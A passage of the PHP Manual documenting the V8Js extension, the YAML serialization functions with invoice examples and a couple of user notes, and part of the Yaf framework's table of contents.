  • V8Js::getExtensions — Return an array of registered extensions
  • V8Js::getPendingException — Return pending uncaught Javascript exception
  • V8Js::registerExtension — Register Javascript extensions for V8Js

User Contributed Notes

There are no user contributed notes for this page.
Examples
V8Js::__construct
V8js


Construct a new V8Js object

V8Js
V8Js::executeString
V8Js
PHP Manual

V8Js::__construct

(PECL v8js >= 0.1.0)

V8Js::__construct — Construct a new V8Js object

Description

 public  V8Js::__construct
  ([ string $object_name = "PHP"
 [, array $variables = array()
 [, array $extensions = array()
 [, bool $report_uncaught_exceptions = TRUE
]]]] )

Constructs a new V8Js object.

Parameters

object_name

The name of the object passed to Javascript. Defaults to PHP.

variables

Map of PHP variables that will be available in Javascript. Must be an associative array in format array("name-for-js" => "name-of-php-variable"). Defaults to empty array.

extensions

List of extensions registered using V8Js::registerExtension() which should be available in the Javascript context of the created V8Js object.

Note:

Extensions registered to be enabled automatically do not need to be listed in this array. Also if an extension has dependencies, those dependencies can be omitted as well. Defaults to empty array.

report_uncaught_exceptions

Controls whether uncaught Javascript exceptions are reported immediately or not. Defaults to TRUE. If set to FALSE the uncaught exception can be accessed using V8Js::getPendingException().

Return Values

Returns a new V8Js context object.

User Contributed Notes

There are no user contributed notes for this page.
V8Js
V8Js::executeString
V8Js


Execute a string as Javascript code

V8Js::__construct
V8Js::getExtensions
V8Js
PHP Manual

V8Js::executeString

(PECL v8js >= 0.1.0)

V8Js::executeString — Execute a string as Javascript code

Description

public mixed V8Js::executeString ( string $script [, string $identifier = "V8Js::executeString()" [, int $flags = V8Js::FLAG_NONE ]] )

Compiles and executes the string passed with script as Javascript code.

Parameters

script

The code string to be executed.

identifier

Identifier string for the executed code. Used for debugging.

flags

Execution flags. This value must be one of the V8Js::FLAG_* constants, defaulting to V8Js::FLAG_NONE.

  • V8Js::FLAG_NONE: no flags

  • V8Js::FLAG_FORCE_ARRAY: forces all Javascript objects passed to PHP to be associative arrays

Return Values

Returns the last variable instantiated in the Javascript code converted to matching PHP variable type.

User Contributed Notes

There are no user contributed notes for this page.
V8Js::__construct
V8Js::getExtensions
V8Js


Return an array of registered extensions

V8Js::executeString
V8Js::getPendingException
V8Js
PHP Manual

V8Js::getExtensions

(PECL v8js >= 0.1.0)

V8Js::getExtensions — Return an array of registered extensions

Description

public static array V8Js::getExtensions ( void )

This function returns array of Javascript extensions registered using V8Js::registerExtension().

Parameters

This function has no parameters.

Return Values

Returns an array of registered extensions or an empty array if there are none.

User Contributed Notes

There are no user contributed notes for this page.
V8Js::executeString
V8Js::getPendingException
V8Js


Return pending uncaught Javascript exception

V8Js::getExtensions
V8Js::registerExtension
V8Js
PHP Manual

V8Js::getPendingException

(PECL v8js >= 0.1.0)

V8Js::getPendingException — Return pending uncaught Javascript exception

Description

public V8JsException V8Js::getPendingException ( void )

Returns any pending uncaught Javascript exception as V8JsException left from earlier V8Js::executeString() call(s).

Parameters

This function has no parameters.

Return Values

Either V8JsException or NULL.

User Contributed Notes

There are no user contributed notes for this page.
V8Js::getExtensions
V8Js::registerExtension
V8Js


Register Javascript extensions for V8Js

V8Js::getPendingException
V8JsException
V8Js
PHP Manual

V8Js::registerExtension

(PECL v8js >= 0.1.0)

V8Js::registerExtension — Register Javascript extensions for V8Js

Description

public static bool V8Js::registerExtension ( string $extension_name , string $script [, array $dependencies = array() [, bool $auto_enable = FALSE ]] )

Registers passed Javascript script as extension to be used in V8Js contexts.

Parameters

extension_name

Name of the extension to be registered.

script

The Javascript code to be registered.

dependencies

Array of extension names the extension to be registered depends on. Any such extension is enabled automatically when this extension is loaded.

Note:

All extensions, including the dependencies, must be registered before any V8Js are created which use them.

auto_enable

If set to TRUE, the extension will be enabled automatically in all V8Js contexts. Defaults to FALSE.

Return Values

Returns TRUE if extension was registered succesfully, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
V8Js::getPendingException
V8JsException
V8Js


The V8JsException class

(No version information available, might only be in SVN)

Introduction

Class synopsis

V8JsException extends Exception {
/* Properties */
protected $JsFileName ;
protected $JsLineNumber ;
protected $JsSourceLine ;
protected $JsTrace ;
/* Methods */
final public string getJsFileName ( void )
final public int getJsLineNumber ( void )
final public int getJsSourceLine ( void )
final public string getJsTrace ( void )
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

Properties

message

code

file

line

JsFileName

JsLineNumber

JsSourceLine

JsTrace

Table of Contents

  • V8JsException::getJsFileName — The getJsFileName purpose
  • V8JsException::getJsLineNumber — The getJsLineNumber purpose
  • V8JsException::getJsSourceLine — The getJsSourceLine purpose
  • V8JsException::getJsTrace — The getJsTrace purpose

User Contributed Notes

There are no user contributed notes for this page.
V8Js::registerExtension
V8JsException::getJsFileName
V8js


The getJsFileName purpose

V8JsException
V8JsException::getJsLineNumber
V8JsException
PHP Manual

V8JsException::getJsFileName

(PECL v8js >= 0.1.0)

V8JsException::getJsFileName — The getJsFileName purpose

Description

final public string V8JsException::getJsFileName ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
V8JsException
V8JsException::getJsLineNumber
V8JsException


The getJsLineNumber purpose

V8JsException::getJsFileName
V8JsException::getJsSourceLine
V8JsException
PHP Manual

V8JsException::getJsLineNumber

(PECL v8js >= 0.1.0)

V8JsException::getJsLineNumber — The getJsLineNumber purpose

Description

final public int V8JsException::getJsLineNumber ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
V8JsException::getJsFileName
V8JsException::getJsSourceLine
V8JsException


The getJsSourceLine purpose

V8JsException::getJsLineNumber
V8JsException::getJsTrace
V8JsException
PHP Manual

V8JsException::getJsSourceLine

(PECL v8js >= 0.1.0)

V8JsException::getJsSourceLine — The getJsSourceLine purpose

Description

final public int V8JsException::getJsSourceLine ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
V8JsException::getJsLineNumber
V8JsException::getJsTrace
V8JsException


The getJsTrace purpose

V8JsException::getJsSourceLine
Yaml
V8JsException
PHP Manual

V8JsException::getJsTrace

(PECL v8js >= 0.1.0)

V8JsException::getJsTrace — The getJsTrace purpose

Description

final public string V8JsException::getJsTrace ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
V8JsException::getJsSourceLine
Yaml
V8JsException


YAML Data Serialization

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Yaml Functions
    • yaml_emit_file — Send the YAML representation of a value to a file
    • yaml_emit — Returns the YAML representation of a value
    • yaml_parse_file — Parse a YAML stream from a file
    • yaml_parse_url — Parse a Yaml stream from a URL
    • yaml_parse — Parse a YAML stream

User Contributed Notes

There are no user contributed notes for this page.
V8JsException::getJsTrace
Introduction
Other Basic Extensions


Introduction

This extension implements the » YAML Ain't Markup Language (YAML) data serialization standard. Parsing and emiting are handled by the » LibYAML library.

User Contributed Notes

There are no user contributed notes for this page.
Yaml
Installing/Configuring
Yaml


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Yaml


Requirements

This extension requires the » LibYAML C library version 0.1.0 or higher to be installed.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/yaml.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Yaml Configure Options
Name | Default | Changeable | Changelog
yaml.decode_binary | 0 | PHP_INI_ALL |
yaml.decode_timestamp | 0 | PHP_INI_ALL |
yaml.output_canonical | 0 | PHP_INI_ALL |
yaml.output_indent | 2 | PHP_INI_ALL |
yaml.output_width | 80 | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

yaml.decode_binary boolean

Off by default, but can be set to on to cause base64 binary encoded entities which have the explicit tag "tag:yaml.org,2002:binary" to be decoded.

yaml.decode_timestamp integer

Controls the decoding of both implicit and explict "tag:yaml.org,2002:timestamp" scalars in the YAML document stream. The default setting of 0 will not apply any decoding. A setting of 1 will use strtotime() to parse the timestamp value as a Unix timestamp. A setting of 2 will use date_create() to parse the timestamp value as DateTime object.

yaml.output_canonical boolean

Off by default, but can be set to on to cause canonical form output.

yaml.output_indent integer

Number of spaces to indent sections. Value should be between 1 and 10.

yaml.output_width integer

Set the preferred line width. -1 means unlimited.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Scalar entity styles usable by yaml_parse() callback methods.
YAML_ANY_SCALAR_STYLE (integer)
YAML_PLAIN_SCALAR_STYLE (integer)
YAML_SINGLE_QUOTED_SCALAR_STYLE (integer)
YAML_DOUBLE_QUOTED_SCALAR_STYLE (integer)
YAML_LITERAL_SCALAR_STYLE (integer)
YAML_FOLDED_SCALAR_STYLE (integer)
Common tags usable by yaml_parse() callback methods.
YAML_NULL_TAG (string)
"tag:yaml.org,2002:null"
YAML_BOOL_TAG (string)
"tag:yaml.org,2002:bool"
YAML_STR_TAG (string)
"tag:yaml.org,2002:str"
YAML_INT_TAG (string)
"tag:yaml.org,2002:int"
YAML_FLOAT_TAG (string)
"tag:yaml.org,2002:float"
YAML_TIMESTAMP_TAG (string)
"tag:yaml.org,2002:timestamp"
YAML_SEQ_TAG (string)
"tag:yaml.org,2002:seq"
YAML_MAP_TAG (string)
"tag:yaml.org,2002:map"
YAML_PHP_TAG (string)
"!php/object"
Encoding types for yaml_emit()
YAML_ANY_ENCODING (integer)
Let the emitter choose an encoding.
YAML_UTF8_ENCODING (integer)
Encode as UTF8.
YAML_UTF16LE_ENCODING (integer)
Encode as UTF16LE.
YAML_UTF16BE_ENCODING (integer)
Encode as UTF16BE.
Linebreak types for yaml_emit()
YAML_ANY_BREAK (integer)
Let emitter choose linebreak character.
YAML_CR_BREAK (integer)
Use \r as break character (Mac style).
YAML_LN_BREAK (integer)
Use \n as break character (Unix style).
YAML_CRLN_BREAK (integer)
Use \r\n as break character (DOS style).

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Yaml


Examples

Example #1 Yaml Example

<?php
$addr = array(
    "given" => "Chris",
    "family"=> "Dumars",
    "address"=> array(
        "lines"=> "458 Walkman Dr.
        Suite #292",
        "city"=> "Royal Oak",
        "state"=> "MI",
        "postal"=> 48046,
      ),
  );
$invoice = array (
    "invoice"=> 34843,
    "date"=> "2001-01-23",
    "bill-to"=> $addr,
    "ship-to"=> $addr,
    "product"=> array(
        array(
            "sku"=> "BL394D",
            "quantity"=> 4,
            "description"=> "Basketball",
            "price"=> 450,
          ),
        array(
            "sku"=> "BL4438H",
            "quantity"=> 1,
            "description"=> "Super Hoop",
            "price"=> 2392,
          ),
      ),
    "tax"=> 251.42,
    "total"=> 4443.52,
    "comments"=> "Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.",
    );

// generate a YAML representation of the invoice
$yaml = yaml_emit($invoice);
var_dump($yaml);

// convert the YAML back into a PHP variable
$parsed = yaml_parse($yaml);

// check that roundtrip conversion produced an equivalent structure
var_dump($parsed == $invoice);
?>

The above example will output something similar to:

string(631) "---
invoice: 34843
date: "2001-01-23"
bill-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
ship-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
product:
- sku: BL394D
  quantity: 4
  description: Basketball
  price: 450
- sku: BL4438H
  quantity: 1
  description: Super Hoop
  price: 2392
tax: 251.420000
total: 4443.520000
comments: Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.
...
"
bool(true)

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Yaml Functions
Yaml


Yaml Functions

Table of Contents

  • yaml_emit_file — Send the YAML representation of a value to a file
  • yaml_emit — Returns the YAML representation of a value
  • yaml_parse_file — Parse a YAML stream from a file
  • yaml_parse_url — Parse a Yaml stream from a URL
  • yaml_parse — Parse a YAML stream

User Contributed Notes

There are no user contributed notes for this page.
Examples
yaml_emit_file
Yaml


Send the YAML representation of a value to a file

Yaml Functions
yaml_emit
Yaml Functions
PHP Manual

yaml_emit_file

(PECL yaml >= 0.5.0)

yaml_emit_file — Send the YAML representation of a value to a file

Description

bool yaml_emit_file ( string $filename , mixed $data [, int $encoding = YAML_ANY_ENCODING [, int $linebreak = YAML_ANY_BREAK ]] )

Generate a YAML representation of the provided data in the filename.

Parameters

filename

Path to the file.

data

The data being encoded. Can be any type except a resource.

encoding

Output character encoding chosen from YAML_ANY_ENCODING, YAML_UTF8_ENCODING, YAML_UTF16LE_ENCODING, YAML_UTF16BE_ENCODING. Defaults to YAML_ANY_ENCODING.

linebreak

Output linebreak style chosen from YAML_ANY_BREAK, YAML_CR_BREAK, YAML_LN_BREAK, YAML_CRLN_BREAK. Defaults to YAML_ANY_BREAK.

Return Values

Returns TRUE on success.

See Also

  • yaml_emit() - Returns the YAML representation of a value
  • yaml_parse() - Parse a YAML stream

User Contributed Notes

There are no user contributed notes for this page.
Yaml Functions
yaml_emit
Yaml Functions


Returns the YAML representation of a value

yaml_emit_file
yaml_parse_file
Yaml Functions
PHP Manual

yaml_emit

(PECL yaml >= 0.5.0)

yaml_emit — Returns the YAML representation of a value

Description

string yaml_emit ( mixed $data [, int $encoding = YAML_ANY_ENCODING [, int $linebreak = YAML_ANY_BREAK ]] )

Generate a YAML representation of the provided data.

Parameters

data

The data being encoded. Can be any type except a resource.

encoding

Output character encoding chosen from YAML_ANY_ENCODING, YAML_UTF8_ENCODING, YAML_UTF16LE_ENCODING, YAML_UTF16BE_ENCODING. Defaults to YAML_ANY_ENCODING.

linebreak

Output linebreak style chosen from YAML_ANY_BREAK, YAML_CR_BREAK, YAML_LN_BREAK, YAML_CRLN_BREAK. Defaults to YAML_ANY_BREAK.

Return Values

Returns a YAML encoded string on success.

Examples

Example #1 yaml_emit() example

<?php
$addr = array(
    "given" => "Chris",
    "family"=> "Dumars",
    "address"=> array(
        "lines"=> "458 Walkman Dr.
        Suite #292",
        "city"=> "Royal Oak",
        "state"=> "MI",
        "postal"=> 48046,
      ),
  );
$invoice = array (
    "invoice"=> 34843,
    "date"=> 980208000,
    "bill-to"=> $addr,
    "ship-to"=> $addr,
    "product"=> array(
        array(
            "sku"=> "BL394D",
            "quantity"=> 4,
            "description"=> "Basketball",
            "price"=> 450,
          ),
        array(
            "sku"=> "BL4438H",
            "quantity"=> 1,
            "description"=> "Super Hoop",
            "price"=> 2392,
          ),
      ),
    "tax"=> 251.42,
    "total"=> 4443.52,
    "comments"=> "Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.",
  );
var_dump(yaml_emit($invoice));
?>

The above example will output something similar to:

string(628) "---
invoice: 34843
date: 980208000
bill-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
ship-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
product:
- sku: BL394D
  quantity: 4
  description: Basketball
  price: 450
- sku: BL4438H
  quantity: 1
  description: Super Hoop
  price: 2392
tax: 251.420000
total: 4443.520000
comments: Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.
...
"

See Also

  • yaml_emit_file() - Send the YAML representation of a value to a file
  • yaml_parse() - Parse a YAML stream

User Contributed Notes

There are no user contributed notes for this page.
yaml_emit_file
yaml_parse_file
Yaml Functions


Parse a YAML stream from a file

yaml_emit
yaml_parse_url
Yaml Functions
PHP Manual

yaml_parse_file

(PECL yaml >= 0.4.0)

yaml_parse_file — Parse a YAML stream from a file

Description

mixed yaml_parse_file ( string $filename [, int $pos = 0 [, int &$ndocs [, array $callbacks ]]] )

Convert all or part of a YAML document stream read from a file to a PHP variable.

Parameters

filename

Path to the file.

pos

Document to extract from stream (-1 for all documents, 0 for first document, ...).

ndocs

If ndocs is provided, then it is filled with the number of documents found in stream.

callbacks

Content handlers for YAML nodes. Associative array of YAML tag => callback mappings.

Return Values

Returns the value encoded in input in appropriate PHP type or FALSE on failure. If pos is -1 an array will be returned with one entry for each document found in the stream.

See Also

  • yaml_parse() - Parse a YAML stream
  • yaml_parse_url() - Parse a Yaml stream from a URL
  • yaml_emit() - Returns the YAML representation of a value

User Contributed Notes

Jesse Donat 10-Aug-2011 09:34
This is entirely dependent on type detection - as far as I can find there is no way to force a type and for instance when you have a very long integer as a value - in my case 1313035348823 it gets limited to 2147483647 - PHP's max integer.
yaml_emit
yaml_parse_url
Yaml Functions


Parse a Yaml stream from a URL

yaml_parse_file
yaml_parse
Yaml Functions
PHP Manual

yaml_parse_url

(PECL yaml >= 0.4.0)

yaml_parse_url — Parse a Yaml stream from a URL

Description

mixed yaml_parse_url ( string $url [, int $pos = 0 [, int &$ndocs [, array $callbacks ]]] )

Convert all or part of a YAML document stream read from a URL to a PHP variable.

Parameters

url

url should be of the form "scheme://...". PHP will search for a protocol handler (also known as a wrapper) for that scheme. If no wrappers for that protocol are registered, PHP will emit a notice to help you track potential problems in your script and then continue as though filename specifies a regular file.

pos

Document to extract from stream (-1 for all documents, 0 for first document, ...).

ndocs

If ndocs is provided, then it is filled with the number of documents found in stream.

callbacks

Content handlers for YAML nodes. Associative array of YAML tag => callback mappings.

Return Values

Returns the value encoded in input in appropriate PHP type or FALSE on failure. If pos is -1 an array will be returned with one entry for each document found in the stream.

See Also

  • yaml_parse() - Parse a YAML stream
  • yaml_parse_file() - Parse a YAML stream from a file
  • yaml_emit() - Returns the YAML representation of a value

User Contributed Notes

There are no user contributed notes for this page.
yaml_parse_file
yaml_parse
Yaml Functions


Parse a YAML stream

yaml_parse_url
Yaf
Yaml Functions
PHP Manual

yaml_parse

(PECL yaml >= 0.4.0)

yaml_parse — Parse a YAML stream

Description

mixed yaml_parse ( string $input [, int $pos = 0 [, int &$ndocs [, array $callbacks ]]] )

Convert all or part of a YAML document stream to a PHP variable.

Parameters

input

The string to parse as a YAML document stream.

pos

Document to extract from stream (-1 for all documents, 0 for first document, ...).

ndocs

If ndocs is provided, then it is filled with the number of documents found in stream.

callbacks

Content handlers for YAML nodes. Associative array of YAML tag => callback mappings.

Return Values

Returns the value encoded in input in appropriate PHP type or FALSE on failure. If pos is -1 an array will be returned with one entry for each document found in the stream.

Examples

Example #1 yaml_parse() example

<?php
$yaml = <<<EOD
---
invoice: 34843
date: "2001-01-23"
bill-to: &id001
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
ship-to: *id001
product:
- sku: BL394D
  quantity: 4
  description: Basketball
  price: 450
- sku: BL4438H
  quantity: 1
  description: Super Hoop
  price: 2392
tax: 251.420000
total: 4443.520000
comments: Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.
...
EOD;

$parsed = yaml_parse($yaml);
var_dump($parsed);
?>

The above example will output something similar to:

array(8) {
  ["invoice"]=>
  int(34843)
  ["date"]=>
  string(10) "2001-01-23"
  ["bill-to"]=>
  &array(3) {
    ["given"]=>
    string(5) "Chris"
    ["family"]=>
    string(6) "Dumars"
    ["address"]=>
    array(4) {
      ["lines"]=>
      string(34) "458 Walkman Dr.
        Suite #292"
      ["city"]=>
      string(9) "Royal Oak"
      ["state"]=>
      string(2) "MI"
      ["postal"]=>
      int(48046)
    }
  }
  ["ship-to"]=>
  &array(3) {
    ["given"]=>
    string(5) "Chris"
    ["family"]=>
    string(6) "Dumars"
    ["address"]=>
    array(4) {
      ["lines"]=>
      string(34) "458 Walkman Dr.
        Suite #292"
      ["city"]=>
      string(9) "Royal Oak"
      ["state"]=>
      string(2) "MI"
      ["postal"]=>
      int(48046)
    }
  }
  ["product"]=>
  array(2) {
    [0]=>
    array(4) {
      ["sku"]=>
      string(6) "BL394D"
      ["quantity"]=>
      int(4)
      ["description"]=>
      string(10) "Basketball"
      ["price"]=>
      int(450)
    }
    [1]=>
    array(4) {
      ["sku"]=>
      string(7) "BL4438H"
      ["quantity"]=>
      int(1)
      ["description"]=>
      string(10) "Super Hoop"
      ["price"]=>
      int(2392)
    }
  }
  ["tax"]=>
  float(251.42)
  ["total"]=>
  float(4443.52)
  ["comments"]=>
  string(68) "Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338."
}

See Also

  • yaml_parse_file() - Parse a YAML stream from a file
  • yaml_parse_url() - Parse a Yaml stream from a URL
  • yaml_emit() - Returns the YAML representation of a value

User Contributed Notes

alpacagm at gmail dot com 11-Jan-2012 04:32
Simple usage example of interpreting custom tags:
<?php
$data=
"#yaml
---
data: !mytag bar test
...
";

function callback($value){
  return str_replace('bar','baz',$value);
}
$cnt;
$array=yaml_parse($data,0,$cnt,array('!mytag'=>'callback'));

print_r($array['data']);
?>
output:
Array
(
   [data] => baz test
)
note, there is a related bug in version 1.0.1 (see tracker)
yaml_parse_url
Yaf
Yaml Functions


Yaf

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Application Configuration
  • Yaf_Application — The Yaf_Application class
    • Yaf_Application::app — Retrive an Application instance
    • Yaf_Application::bootstrap — Call bootstrap
    • Yaf_Application::clearLastError — Clear the last error info
    • Yaf_Application::__clone — Yaf_Application can not be cloned
    • Yaf_Application::__construct — Yaf_Application constructor
    • Yaf_Application::__destruct — The __destruct purpose
    • Yaf_Application::environ — Retrive environ
    • Yaf_Application::execute — Execute a callback
    • Yaf_Application::getAppDirectory — Get the application directory
    • Yaf_Application::getConfig — Retrive the config instance
    • Yaf_Application::getDispatcher — Get Yaf_Dispatcher instance
    • Yaf_Application::getLastErrorMsg — Get message of the last occurred error
    • Yaf_Application::getLastErrorNo — Get code of last occurred error
    • Yaf_Application::getModules — Get defined module names
    • Yaf_Application::run — Start Yaf_Application
    • Yaf_Application::setAppDirectory — Change the application directory
    • Yaf_Application::__sleep — Yaf_Application can not be serialized
    • Yaf_Application::__wakeup — Yaf_Application can not be unserialized
  • Yaf_Bootstrap_Abstract — The Yaf_Bootstrap_Abstract class
  • Yaf_Dispatcher — The Yaf_Dispatcher class
    • Yaf_Dispatcher::autoRender — Switch on/off autorendering
    • Yaf_Dispatcher::catchException — Switch on/off exception catching
    • Yaf_Dispatcher::__clone — Yaf_Dispatcher can not be cloned
    • Yaf_Dispatcher::__construct — Yaf_Dispatcher constructor
    • Yaf_Dispatcher::disableView — Disable view rendering
    • Yaf_Dispatcher::dispatch — Dispatch a request
    • Yaf_Dispatcher::enableView — enable view rendering
    • Yaf_Dispatcher::flushInstantly — Switch on/off the instant flushing
    • Yaf_Dispatcher::getApplication — Retrive the application
    • Yaf_Dispatcher::getInstance — Retrive the dispatcher instance
    • Yaf_Dispatcher::getRequest — Retrive the request instance
    • Yaf_Dispatcher::getRouter — Retrive router instance
    • Yaf_Dispatcher::initView — Initialize view and return it
    • Yaf_Dispatcher::registerPlugin — Register a plugin
    • Yaf_Dispatcher::returnResponse — The returnResponse purpose
    • Yaf_Dispatcher::setAppDirectory — Change the application directory
    • Yaf_Dispatcher::setDefaultAction — Change default action name
    • Yaf_Dispatcher::setDefaultController — Change default controller name
    • Yaf_Dispatcher::setDefaultModule — Change default module name
    • Yaf_Dispatcher::setErrorHandler — The setErrorHandler purpose
    • Yaf_Dispatcher::setRequest — The setRequest purpose
    • Yaf_Dispatcher::setView — Set a custom view engine
    • Yaf_Dispatcher::__sleep — Yaf_Dispatcher can not be serialized
    • Yaf_Dispatcher::throwException — Switch on/off exception throwing
    • Yaf_Dispatcher::__wakeup — Yaf_Dispatcher can not be unserialized
  • Yaf_Config_Abstract — The Yaf_Config_Abstract class
    • Yaf_Config_Abstract::get — Getter
    • Yaf_Config_Abstract::readonly — Find a config whether readonly
    • Yaf_Config_Abstract::set — Setter
    • Yaf_Config_Abstract::toArray — Cast to array
  • Yaf_Config_Ini — The Yaf_Config_Ini class
    • Yaf_Config_Ini::__construct — The __construct purpose
    • Yaf_Config_Ini::count — The count purpose
    • Yaf_Config_Ini::current — The current purpose
    • Yaf_Config_Ini::__get — The __get purpose
    • Yaf_Config_Ini::__isset — The __isset purpose
    • Yaf_Config_Ini::key — The key purpose
    • Yaf_Config_Ini::next — The next purpose
    • Yaf_Config_Ini::offsetExists — The offsetExists purpose
    • Yaf_Config_Ini::offsetGet — The offsetGet purpose
    • Yaf_Config_Ini::offsetSet — The offsetSet purpose
    • Yaf_Config_Ini::offsetUnset — The offsetUnset purpose
    • Yaf_Config_Ini::readonly — The readonly purpose
    • Yaf_Config_Ini::rewind — The rewind purpose
    • Yaf_Config_Ini::__set — The __set purpose
    • Yaf_Config_Ini::toArray — The toArray purpose
    • Yaf_Config_Ini::valid — The valid purpose
  • Yaf_Config_Simple — The Yaf_Config_Simple class
    • Yaf_Config_Simple::__construct — The __construct purpose
    • Yaf_Config_Simple::count — The count purpose
    • Yaf_Config_Simple::current — The current purpose
    • Yaf_Config_Simple::__get — The __get purpose
    • Yaf_Config_Simple::__isset — The __isset purpose
    • Yaf_Config_Simple::key — The key purpose
    • Yaf_Config_Simple::next — The next purpose
    • Yaf_Config_Simple::offsetExists — The offsetExists purpose
    • Yaf_Config_Simple::offsetGet — The offsetGet purpose
    • Yaf_Config_Simple::offsetSet — The offsetSet purpose
    • Yaf_Config_Simple::offsetUnset — The offsetUnset purpose
    • Yaf_Config_Simple::readonly — The readonly purpose
    • Yaf_Config_Simple::rewind — The rewind purpose
    • Yaf_Config_Simple::__set — The __set purpose
    • Yaf_Config_Simple::toArray — The toArray purpose
    • Yaf_Config_Simple::valid — The valid purpose
  • Yaf_Controller_Abstract — The Yaf_Controller_Abstract class
    • Yaf_Controller_Abstract::__clone — Yaf_Controller_Abstract can not be cloned
    • Yaf_Controller_Abstract::__construct — Yaf_Controller_Abstract constructor
    • Yaf_Controller_Abstract::display — The display purpose
    • Yaf_Controller_Abstract::forward — The forward purpose
    • Yaf_Controller_Abstract::getInvokeArg — The getInvokeArg purpose
    • Yaf_Controller_Abstract::getInvokeArgs — The getInvokeArgs purpose
    • Yaf_Controller_Abstract::getModuleName — The getModuleName purpose
    • Yaf_Controller_Abstract::getRequest — The getRequest purpose
    • Yaf_Controller_Abstract::getResponse — The getResponse purpose
    • Yaf_Controller_Abstract::getView — The getView purpose
    • Yaf_Controller_Abstract::getViewpath — The getViewpath purpose
    • Yaf_Controller_Abstract::initView — The initView purpose
    • Yaf_Controller_Abstract::redirect — The redirect purpose
    • Yaf_Controller_Abstract::render — The render purpose
    • Yaf_Controller_Abstract::setViewpath — The setViewpath purpose
  • Yaf_Action_Abstract — The Yaf_Action_Abstract class
    • Yaf_Action_Abstract::execute — Execute the action
    • Yaf_Action_Abstract::getController — get controller instance
  • Yaf_View_Interface — The Yaf_View_Interface class
    • Yaf_View_Interface::assign — Assign value to View engine
    • Yaf_View_Interface::display — Render and output a template
    • Yaf_View_Interface::getScriptPath — The getScriptPath purpose
    • Yaf_View_Interface::render — Render a template
    • Yaf_View_Interface::setScriptPath — The setScriptPath purpose
  • Yaf_View_Simple — The Yaf_View_Simple class
    • Yaf_View_Simple::assign — Assign values
    • Yaf_View_Simple::assignRef — The assignRef purpose
    • Yaf_View_Simple::__construct — The __construct purpose
    • Yaf_View_Simple::display — Render and dispaly
    • Yaf_View_Simple::__get — The __get purpose
    • Yaf_View_Simple::getScriptPath — Get template base directory
    • Yaf_View_Simple::__isset — The __isset purpose
    • Yaf_View_Simple::render — Render template
    • Yaf_View_Simple::__set — Set value to engine
    • Yaf_View_Simple::setScriptPath — Set tempalte base directory
  • Yaf_Loader — The Yaf_Loader class
    • Yaf_Loader::autoload — The autoload purpose
    • Yaf_Loader::clearLocalNamespace — The clearLocalNamespace purpose
    • Yaf_Loader::__clone — The __clone purpose
    • Yaf_Loader::__construct — The __construct purpose
    • Yaf_Loader::getInstance — The getInstance purpose
    • Yaf_Loader::getLibraryPath — get the library path
    • Yaf_Loader::getLocalNamespace — The getLocalNamespace purpose
    • Yaf_Loader::import — The import purpose
    • Yaf_Loader::isLocalName — The isLocalName purpose
    • Yaf_Loader::registerLocalNamespace — The registerLocalNamespace purpose
    • Yaf_Loader::setLibraryPath — Change the library path
    • Yaf_Loader::__sleep — The __sleep purpose
    • Yaf_Loader::__wakeup — The __wakeup purpose
  • Yaf_Plugin_Abstract — The Yaf_Plugin_Abstract class
    • Yaf_Plugin_Abstract::dispatchLoopShutdown — The dispatchLoopShutdown purpose
    • Yaf_Plugin_Abstract::dispatchLoopStartup — The dispatchLoopStartup purpose
    • Yaf_Plugin_Abstract::postDispatch — The postDispatch purpose
    • Yaf_Plugin_Abstract::preDispatch — The preDispatch purpose
    • Yaf_Plugin_Abstract::preResponse — The preResponse purpose
